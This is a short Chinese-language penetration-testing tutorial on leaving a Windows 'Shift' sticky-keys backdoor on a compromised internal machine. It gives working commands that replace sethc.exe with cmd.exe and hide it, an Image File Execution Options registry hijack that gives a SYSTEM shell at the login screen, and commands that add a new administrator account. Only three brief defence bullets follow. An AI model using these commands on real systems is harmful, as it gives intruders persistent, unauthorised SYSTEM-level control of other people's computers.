0x00 前言

通常,在内网渗透打下一台机子之后,可以给这台机子留个Shift后门。

0x01 Shift后门利用

简介

粘滞键漏洞,在Windows系统下连续按5下SHIFT键,可以启动系统的粘滞键功能,其进程名为Sethc.exe,应用程序在Windows\system32下。

黑客用其它应用程序(如:cmd.exe、explorer.exe 或木马、病毒)将Sethc.exe替换。当再次连续按5次SHIFT键,就会启动黑客替换的应用程序,如此便留下了5下SHIFT后门,黑客3389登录远程计算机时,在用户登录界面,连续按5下SHIFT就可以启动该漏洞,进而控制远程计算机。

漏洞原理

在Windows系统登录界面状态下,粘滞键仍可以以连续按5下SHIFT键运行,并且此时应用程序会以WINDOWS的最高权限-SYSTEM权限运行,所以计算机一旦被安装该后门,入侵者便可悄无声息地远程操纵计算机。

漏洞利用

大致思路如下:

拿到目标主机权限后,到Windows\system32目录下,将sethc.exe替换成cmd.exe;

其中,命令行方式为:

1
2
3
4
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h

注意:要将dllcache文件夹中的缓存删掉,否则会自动复原回去。

注册表方式为:

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

命令说明:reg add是向注册表添加记录,后面跟的是注册表的位置,注意的是HKLM是HKEY_LOCAL_MACHINE的缩写。Image File Execution Option这个目录是用来设置镜像劫持的,要被劫持的就是命令中的sethc粘滞键程序,随后通过/ v来指定键名,其中键名debugger是固定的,然后通过/ t来指定REG_SZ字符串类型,最后通过/ d来指定键的值,即被恶意替换的程序cmd.exe。

这样,在下次远程连接目标主机登录的时候就可以连续5下SHIFT触发cmd.exe;

可以输入explorer.exe调出程序管理系统方便操作;

当然,上面的方法存在缺陷,就是可能会导致远程连接无法持久进行,因此可以直接添加新用户便于下次直接登录:

1
2
net user mi1k7ea 123456 /add
net localgroup administrators mi1k7ea /add'

防御方法

  • 如果系统盘为NTFS文件系统,可以将sytem32下的sethc.exe文件设为everyone拒绝访问;
  • 直接将其删除,最好的方法是在控制面板-辅助功能选项-粘滞键选项,将“使用快捷键”取消即可。;
  • 通过注册表设置实现防御;